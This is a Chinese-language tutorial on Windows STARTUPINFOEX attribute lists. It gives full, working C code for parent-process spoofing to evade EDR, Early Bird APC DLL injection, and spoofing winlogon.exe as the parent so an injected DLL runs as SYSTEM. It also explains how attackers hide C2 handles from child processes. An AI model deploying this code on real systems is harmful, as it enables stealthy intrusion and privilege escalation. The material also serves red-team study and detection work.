在Windows安全攻防领域,无论是红队行动还是恶意软件分析,如何让一个进程在系统中隐蔽自身、伪装身份,都是至关重要的技巧。本文将深入探讨Windows提供的强大工具——STARTUPINFOEX结构体及其属性列表,并通过实战代码演示如何利用它实现三大核心功能:父进程ID(PPID)欺骗、Early Bird注入以及精确的句柄继承控制。
基础介绍
结构体 STARTUPINFO
STARTUPINFO 结构体主要用于通过 CreateProcess 函数创建新进程时,指定新进程的主窗口显示方式、标准输入输出句柄等信息。
typedef struct _STARTUPINFO {
DWORD cb; // 结构体的大小 (以字节为单位)
LPTSTR lpReserved; // 保留,必须为 NULL
LPTSTR lpDesktop; // 指定桌面名称 (通常为 NULL)
LPTSTR lpTitle; // 控制台窗口的标题
DWORD dwX; // 窗口左上角 X 坐标
DWORD dwY; // 窗口左上角 Y 坐标
DWORD dwXSize; // 窗口宽度 (像素)
DWORD dwYSize; // 窗口高度 (像素)
DWORD dwXCountChars; // 控制台窗口缓冲区宽度 (字符数)
DWORD dwYCountChars; // 控制台窗口缓冲区高度 (字符数)
DWORD dwFillAttribute; // 控制台文本和背景颜色
DWORD dwFlags; // 标志位:决定哪些成员是有效的
WORD wShowWindow; // 窗口显示状态 (如 SW_HIDE, SW_MAXIMIZE)
WORD cbReserved2; // 保留,必须为 0
LPBYTE lpReserved2; // 保留,必须为 NULL
HANDLE hStdInput; // 标准输入句柄
HANDLE hStdOutput; // 标准输出句柄
HANDLE hStdError; // 标准错误句柄
} STARTUPINFO, *LPSTARTUPINFO;
在调用 CreateProcess 之前,必须初始化这个结构体。
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
结构体 STARTUPINFOEX
从 Windows Vista / Windows Server 2008 开始,引入了增强版的启动结构体:STARTUPINFOEX。它比普通的 STARTUPINFO 多了一个关键成员:lpAttributeList(属性列表)。
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; //属性列表
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
引入属性列表的目的是为了更精细地控制进程创建行为,例如精确指定子进程应继承哪些句柄、设置父进程、控制缓解策略(如ASLR)以及支持AppContainer等。
函数 InitializeProcThreadAttributeList()
InitializeProcThreadAttributeList() 用于初始化进程或线程的属性列表。它的使用方式比较特殊,通常需要调用两次:第一次获取所需内存大小,第二次真正初始化。
BOOL InitializeProcThreadAttributeList(
[out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, //属性列表
[in] DWORD dwAttributeCount, //要添加到列表的属性计数
DWORD dwFlags, //此参数是保留的,必须为零。
[in, out] PSIZE_T lpSize //如果 lpAttributeList 不为 NULL,则此参数指定输入时 lpAttributeList 缓冲区的大小(以字节为单位)。 输出时,此参数接收初始化的属性列表的大小(以字节为单位)。如果 lpAttributeList 为 NULL,则此参数接收所需的缓冲区大小(以字节为单位)。
);
代码示例如下:
STARTUPINFOEXA siex = { 0 };
SIZE_T attributeSize;
// 第一次调用:获取属性列表所需的内存大小
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
siex.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
// 第二次调用:正式初始化属性列表
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attributeSize);
重要:lpAttributeList 指向的内存必须保持有效,直到调用 DeleteProcThreadAttributeList。如果在 CreateProcess 之前释放了这块内存,进程的属性设置就会失效。
函数 UpdateProcThreadAttribute()
UpdateProcThreadAttribute() 用于在属性列表中设置具体的进程属性,如父进程句柄、句柄继承列表等。
BOOL UpdateProcThreadAttribute(
[in, out] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, //指向属性列表的指针
[in] DWORD dwFlags, //保留,必须为 0
[in] DWORD_PTR Attribute, //指定要修改的进程属性
[in] PVOID lpValue, //指向属性值 (Value) 的指针
[in] SIZE_T cbSize, //lpValue 数据的大小
[out, optional] PVOID lpPreviousValue, //保留,通常为 NULL
[in, optional] PSIZE_T lpReturnSize //保留,通常为 NULL
);
完整的操作流程如下:
InitializeProcThreadAttributeList (第一次调用,获取所需大小)
- 分配内存
InitializeProcThreadAttributeList (第二次调用,初始化)
UpdateProcThreadAttribute (添加属性)
- 调用
CreateProcess
DeleteProcThreadAttributeList (清理)
父进程欺骗 (PPID Spoofing)
技术介绍
父进程欺骗(Parent Process Spoofing),也称为 PPID Spoofing,是一种通过篡改进程创建参数,使新进程看起来是由另一个合法的系统进程(而非实际的创建者)启动的技术。
为什么这样做?因为EDR(端点检测与响应系统)和杀毒软件通常会监控异常的父子进程关系。
- 异常行为:
Word.exe -> PowerShell.exe (高度可疑,常见于宏病毒利用)。
- 欺骗后:
Word.exe 启动 PowerShell,但将其父进程伪造成 Explorer.exe。安全软件看到的是 Explorer.exe -> PowerShell.exe(这模仿了用户正常打开终端的行为,可能被放行)。
例如,正常从资源管理器启动 cmd.exe,可以看到其父进程是 explorer.exe。


通过伪造父进程,上述正常的进程树关系就会被改变。
代码实现
正常情况的进程关系
正常情况下,一个由Visual Studio编译的程序 testcmd.exe 调用 CreateProcess 创建 cmd.exe 进程。
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
BOOL success = CreateProcess(
"C:\\Windows\\System32\\cmd.exe", // 模块名
NULL, // 命令行
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 是否继承句柄
CREATE_NEW_CONSOLE, // 创建标志,CREATE_NEW_CONSOLE确保弹出新窗口
NULL, // 环境变量
NULL, // 当前目录
&si, // 指向 STARTUPINFO 或者 STARTUPINFOEX 指针
&pi // PROCESS_INFORMATION 指针
);
if (success) {
printf("cmd 已启动,PID: %d\n", pi.dwProcessId);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else {
printf("创建进程失败,错误代码: %d\n", GetLastError());
}
return 0;
}
进程树应为:testcmd.exe 是 cmd.exe 的父进程。

父进程欺骗后的进程关系
现在,我们利用 InitializeProcThreadAttributeList() 和 UpdateProcThreadAttribute() 函数来改变进程的父进程。
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// 根据进程名获取 PID 的函数
DWORD GetPidByName(const char* processName) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 entry = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &entry)) {
do {
if (_stricmp(entry.szExeFile, processName) == 0) {
CloseHandle(snapshot);
return entry.th32ProcessID;
}
} while (Process32Next(snapshot, &entry));
}
CloseHandle(snapshot);
return 0;
}
int main() {
// 1. 目标:找到notepad++.exe 的 PID
DWORD parentPid = GetPidByName("notepad++.exe");
if (parentPid == 0) {
printf("请先运行notepad++程序!\n");
return 1;
}
// 2. 打开父进程,获取句柄,需要 PROCESS_CREATE_PROCESS 权限
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
if (hParent == NULL) return 1;
// 3. 初始化扩展启动信息结构体
STARTUPINFOEXA siex = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attributeSize;
// 第一次调用:获取属性列表所需的内存大小
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
siex.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
// 第二次调用:正式初始化属性列表
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attributeSize);
// 4. 更新属性列表:设置父进程属性
UpdateProcThreadAttribute(
siex.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent,
sizeof(HANDLE),
NULL,
NULL
);
siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// 5. 创建进程
// 使用 EXTENDED_STARTUPINFO_PRESENT 标志告诉系统我们使用了扩展启动信息
BOOL success = CreateProcessA(
"C:\\Windows\\System32\\cmd.exe", // 要启动的程序
NULL,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
&siex.StartupInfo,
&pi
);
if (success) {
printf("cmd 已启动,PID: %d,伪造父进程 PID: %d\n", pi.dwProcessId, parentPid);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else {
printf("创建进程失败,错误代码: %d\n", GetLastError());
}
// 6. 清理
DeleteProcThreadAttributeList(siex.lpAttributeList);
HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
CloseHandle(hParent);
return 0;
}
执行后,cmd.exe 的父进程将不再是 testcmd.exe,而是 notepad++.exe。


不过,要识破这种欺骗并非不可能。在内核层(通过 EPROCESS 结构)或借助 ETW (Event Tracing for Windows) 事件追踪,依然可以找到真实的进程创建者。例如,分析 Microsoft-Windows-Kernel-Process 事件日志中的 CreatorProcessID 字段。在安全与渗透测试领域,这种深度对抗是常态。
内核层的变化
我们可以通过查询内核进程信息来验证欺骗是否成功。在之前的代码中添加以下内容:
………………
typedef struct _MY_PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId; // 关键字段:父进程PID
} MY_PROCESS_BASIC_INFORMATION;
// 2. 定义 NtQueryInformationProcess 函数原型
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass, // 使用 ULONG 避免类型冲突
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
………………
………………
MY_PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
// 从 ntdll.dll 中动态获取函数地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll) {
pNtQueryInformationProcess NtQueryInfo = (pNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
if (NtQueryInfo) {
// 第一个参数是新创建进程的句柄 pi.hProcess
// 第二个参数 0 代表 ProcessBasicInformation
NTSTATUS status = NtQueryInfo(pi.hProcess, 0, &pbi, sizeof(pbi), &returnLength);
if (status == 0) { // 0 代表成功 (STATUS_SUCCESS)
printf("\n--- 内核档案验证 ---\n");
printf("新进程 PID: %zu\n", (size_t)pbi.UniqueProcessId);
printf("新进程记录的父进程 PID: %zu\n", (size_t)pbi.InheritedFromUniqueProcessId);
if (pbi.InheritedFromUniqueProcessId == parentPid) {
printf("验证结果:伪造成功!内核已确认为其分配了伪造的父进程。\n");
}
else {
printf("验证结果:父进程 PID 不匹配。\n");
}
}
else {
printf("NtQueryInformationProcess 调用失败,错误码: 0x%X\n", status);
}
}
运行后可以看到,内核进程结构体 PROCESS_BASIC_INFORMATION 中的 InheritedFromUniqueProcessId(父进程PID)已经被成功设置为我们伪造的 parentPid(例如29912)。

早鸟注入 (Early Bird Injection)
简而言之,Early Bird 注入的核心在于利用进程创建时的“挂起”状态。在主线程运行前,将恶意代码排入异步过程调用(APC)队列,一旦线程恢复,恶意代码将在程序入口点之前率先执行。
下面是在父进程欺骗基础上实现早鸟注入的完整代码:
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// 获取进程 PID
DWORD GetPidByName(const char* processName) {
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 entry = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &entry)) {
do {
if (_stricmp(entry.szExeFile, processName) == 0) {
pid = entry.th32ProcessID;
break;
}
} while (Process32Next(snapshot, &entry));
}
CloseHandle(snapshot);
}
return pid;
}
int main() {
// --- 配置 ---
const char* targetPath = "C:\\Windows\\System32\\notepad.exe";
const char* parentName = "explorer.exe";
const char* dllPath = "F:\\Test\\InjectDll.dll";
// 初始化句柄和资源指针,方便统一清理
HANDLE hParent = NULL;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList = NULL;
LPVOID remoteBuf = NULL;
BOOL bSuccess = FALSE;
do {
// 1. 获取父进程句柄
DWORD parentPid = GetPidByName(parentName);
if (parentPid == 0) {
printf("[-] 找不到父进程: %s\n", parentName);
break;
}
hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
if (!hParent) {
printf("[-] OpenProcess 失败: %d\n", GetLastError());
break;
}
// 2. 初始化属性列表 (用于父进程欺骗)
SIZE_T attributeSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
if (!lpAttributeList) break;
if (!InitializeProcThreadAttributeList(lpAttributeList, 1, 0, &attributeSize)) break;
if (!UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL)) {
printf("[-] 属性更新失败: %d\n", GetLastError());
break;
}
// 3. 创建挂起的进程
STARTUPINFOEXA siex = { 0 };
PROCESS_INFORMATION pi = { 0 };
siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
siex.lpAttributeList = lpAttributeList;
if (!CreateProcessA(NULL, (LPSTR)targetPath, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL, NULL, &siex.StartupInfo, &pi)) {
printf("[-] 进程创建失败: %d\n", GetLastError());
break;
}
hProcess = pi.hProcess;
hThread = pi.hThread;
printf("[+] 目标进程已创建 (PID: %d)\n", pi.dwProcessId);
// 4. 注入 DLL 路径字符串
SIZE_T pathLen = strlen(dllPath) + 1;
remoteBuf = VirtualAllocEx(hProcess, NULL, pathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remoteBuf)
{
printf("[-] 分配内存失败: %d\n", GetLastError());
break;
}
if (!WriteProcessMemory(hProcess, remoteBuf, dllPath, pathLen, NULL))
{
printf("[-] 写入内存失败: %d\n", GetLastError());
break;
}
// 5. 获取 LoadLibraryA 地址并入队 APC (早鸟注入核心)
FARPROC pLoadLibrary = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (!pLoadLibrary)
{
printf("[-] 获取LoadLibraryA函数地址失败: %d\n", GetLastError());
break;
}
if (!QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)remoteBuf)) {
printf("[-] APC 入队失败\n");
break;
}
// 6. 恢复线程
ResumeThread(hThread);
bSuccess = TRUE;
printf("[+] 注入指令已提交,线程已恢复执行\n");
} while (0);
// --- 统一清理资源 ---
if (!bSuccess && hProcess) {
TerminateProcess(hProcess, 0); // 如果中间失败,清理掉创建的进程
}
if (hThread) CloseHandle(hThread);
if (hProcess) CloseHandle(hProcess);
if (lpAttributeList) {
DeleteProcThreadAttributeList(lpAttributeList);
HeapFree(GetProcessHeap(), 0, lpAttributeList);
}
if (hParent) CloseHandle(hParent);
return bSuccess ? 0 : 1;
}
注入成功,且 notepad.exe 的父进程被篡改为 explorer.exe。


管理员权限继承
通过管理员权限启动的子进程默认也拥有管理员权限。而通过父进程欺骗,如果指定一个处于 Session 0 且拥有 SYSTEM 令牌的进程(如 winlogon.exe)作为父进程,新创建的进程会继承该父进程的会话和令牌,从而使注入的DLL在 SYSTEM 权限下运行。
以下是结合父进程欺骗与早鸟注入,使DLL在SYSTEM权限下运行的示例:
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// 1. 提权函数:启用当前进程的调试权限 (SE_DEBUG_NAME)
// 这是打开 SYSTEM 进程句柄的必要前提
BOOL EnableDebugPrivilege() {
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return GetLastError() != ERROR_NOT_ALL_ASSIGNED;
}
DWORD GetPidByName(const char* processName) {
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 entry = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &entry)) {
do {
if (_stricmp(entry.szExeFile, processName) == 0) {
pid = entry.th32ProcessID;
break;
}
} while (Process32Next(snapshot, &entry));
}
CloseHandle(snapshot);
}
return pid;
}
int main() {
// --- 配置 ---
// 目标选择一个系统路径下的程序
const char* targetPath = "C:\\Program Files\\Notepad++\\notepad++.exe";
// 父进程选择 SYSTEM 权限的 winlogon.exe
const char* parentName = "winlogon.exe";
const char* dllPath = "F:\\Test\\InjectDll.dll";
HANDLE hParent = NULL, hProcess = NULL, hThread = NULL;
PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList = NULL;
LPVOID remoteBuf = NULL;
BOOL bSuccess = FALSE;
// A. 提升自身权限
if (!EnableDebugPrivilege()) {
printf("[-] 提权失败,请以管理员身份运行!\n");
return 1;
}
printf("[+] 提权成功 \n");
do {
// 1. 获取 SYSTEM 父进程句柄
DWORD parentPid = GetPidByName(parentName);
if (parentPid == 0) {
printf("[-] 找不到父进程: %s\n", parentName);
break;
}
// 需要 PROCESS_CREATE_PROCESS 权限来欺骗父进程
hParent = OpenProcess(PROCESS_CREATE_PROCESS | PROCESS_QUERY_INFORMATION, FALSE, parentPid);
if (!hParent) {
printf("[-] 无法打开系统进程,错误码: %d\n", GetLastError());
break;
}
// 2. 初始化属性列表
SIZE_T attributeSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
// 3. 创建挂起的进程
STARTUPINFOEXA siex = { 0 };
PROCESS_INFORMATION pi = { 0 };
siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
siex.lpAttributeList = lpAttributeList;
// 使用 EXTENDED_STARTUPINFO_PRESENT 配合属性列表
if (!CreateProcessA(NULL, (LPSTR)targetPath, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL, NULL, &siex.StartupInfo, &pi)) {
printf("[-] 进程创建失败: %d\n", GetLastError());
break;
}
hProcess = pi.hProcess;
hThread = pi.hThread;
printf("[+] 目标进程已创建 (PID: %d),其父进程已伪造为 %s (SYSTEM)\n", pi.dwProcessId, parentName);
// 4. 注入 DLL 路径
SIZE_T pathLen = strlen(dllPath) + 1;
remoteBuf = VirtualAllocEx(hProcess, NULL, pathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remoteBuf) break;
WriteProcessMemory(hProcess, remoteBuf, dllPath, pathLen, NULL);
// 5. 早鸟注入:QueueUserAPC
FARPROC pLoadLibrary = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (!QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)remoteBuf)) break;
// 6. 恢复线程执行
ResumeThread(hThread);
bSuccess = TRUE;
printf("[+] 注入指令成功提交!\n");
} while (0);
// 清理资源
if (lpAttributeList) {
DeleteProcThreadAttributeList(lpAttributeList);
HeapFree(GetProcessHeap(), 0, lpAttributeList);
}
if (hParent) CloseHandle(hParent);
if (hProcess) CloseHandle(hProcess);
if (hThread) CloseHandle(hThread);
system("pause");
return bSuccess ? 0 : 1;
}
父进程欺骗成功,notepad++.exe 的父进程变为 winlogon.exe。

DLL注入成功。

用管理员权限打开 cmd,执行命令 tasklist /V /FI "IMAGENAME eq notepad++.exe" 查看,显示 notepad++.exe 的运行用户是 NT AUTHORITY\SYSTEM。

(注意:编译后的程序启动时必须具备管理员权限才能成功执行此操作。)
控制句柄继承
传统上,调用 CreateProcess 时,bInheritHandles 参数只能控制是继承父进程所有可继承句柄,还是一个都不继承。这存在安全风险:如果一个高权限进程打开了敏感文件句柄,然后启动了一个低权限子进程,子进程可能会意外获得访问该敏感文件的能力。STARTUPINFOEX 引入了 PROC_THREAD_ATTRIBUTE_HANDLE_LIST 属性,允许父进程明确列出一份“白名单”,规定子进程只能继承哪些句柄。
以下是一个简单的示例:
#include <windows.h>
#include <stdio.h>
int main() {
// 资源定义
HANDLE hSecretFile = INVALID_HANDLE_VALUE;
HANDLE hPublicFile = INVALID_HANDLE_VALUE;
PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList = NULL;
SIZE_T attributeSize = 0;
STARTUPINFOEXA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
// 安全属性:允许句柄被继承
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
do {
// 1. 创建第一个文件:秘密文件 (我们不想让子进程关联到这个)
hSecretFile = CreateFileA("secret.txt", GENERIC_WRITE, FILE_SHARE_READ, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hSecretFile == INVALID_HANDLE_VALUE) break;
WriteFile(hSecretFile, "This is secret data", 19, NULL, NULL);
printf("[+] 秘密文件句柄已创建: %p\n", hSecretFile);
// 2. 创建第二个文件:公共文件 (只允许继承这个)
hPublicFile = CreateFileA("public.txt", GENERIC_WRITE, FILE_SHARE_READ, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPublicFile == INVALID_HANDLE_VALUE) break;
printf("[+] 公共文件句柄已创建: %p\n", hPublicFile);
// 3. 初始化属性列表:准备白名单
// 我们只打算把 hPublicFile 放入白名单
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
if (!lpAttributeList) break;
if (!InitializeProcThreadAttributeList(lpAttributeList, 1, 0, &attributeSize)) break;
// 4. 【核心点】:设置 PROC_THREAD_ATTRIBUTE_HANDLE_LIST
// 只有出现在这个数组里的句柄才会被子进程继承
HANDLE hInheritList[] = { hPublicFile };
if (!UpdateProcThreadAttribute(
lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_HANDLE_LIST,
hInheritList,
sizeof(hInheritList),
NULL,
NULL)) {
printf("[-] 无法更新属性列表: %d\n", GetLastError());
break;
}
si.lpAttributeList = lpAttributeList;
// 5. 创建子进程
// 注意:bInheritHandles 必须为 TRUE,否则属性列表中的句柄设置无效
printf(" 正在启动子进程 (cmd.exe)...\n");
if (!CreateProcessA(
NULL,
(LPSTR)"C:\\Windows\\System32\\cmd.exe /c \"timeout 10\"",
NULL, NULL,
TRUE, // 必须为 TRUE
EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL,
&si.StartupInfo,
&pi)) {
printf("[-] 进程创建失败: %d\n", GetLastError());
break;
}
printf("[+] 子进程 PID: %d 已启动\n", pi.dwProcessId);
printf("[!] 现在请使用 Process Hacker 或 Handle.exe 查看子进程的句柄表。\n");
printf("[!] 你会发现子进程只继承了 public.txt 的句柄,而没有 secret.txt。\n");
// 等待子进程结束
WaitForSingleObject(pi.hProcess, INFINITE);
} while (0);
// 清理
if (pi.hProcess) CloseHandle(pi.hProcess);
if (pi.hThread) CloseHandle(pi.hThread);
if (hSecretFile != INVALID_HANDLE_VALUE) CloseHandle(hSecretFile);
if (hPublicFile != INVALID_HANDLE_VALUE) CloseHandle(hPublicFile);
if (lpAttributeList) {
DeleteProcThreadAttributeList(lpAttributeList);
HeapFree(GetProcessHeap(), 0, lpAttributeList);
}
return 0;
}
- 父进程:同时拥有
secret.txt 和 public.txt 的句柄。
- 子进程:只会拥有
public.txt 的句柄。


攻击者通常将此技术用于内网渗透阶段。例如:父进程是一个具有高权限的注入进程,它正通过Socket与C2服务器通信,并打开了大量敏感的系统文件句柄。当它需要生成一个子进程(如 whoami)来收集信息时,会利用此API剔除掉所有敏感的Socket和文件句柄,防止安全扫描软件通过子进程的句柄表发现其与非法网络通信之间的关联。
总结
通过 STARTUPINFOEX 结构体及其属性列表,开发者(或攻击者)获得了对Windows进程创建行为的精细控制能力。从简单的父进程伪装,到复杂的权限继承与精确句柄传递,这些技术在实际的系统与网络编程和攻防对抗中都有广泛应用。理解这些机制,对于构建更安全的系统或进行更深入的逆向工程分析都至关重要。希望本文提供的代码示例和原理剖析,能帮助你在云栈社区等平台进行更深入的技术探讨与实践。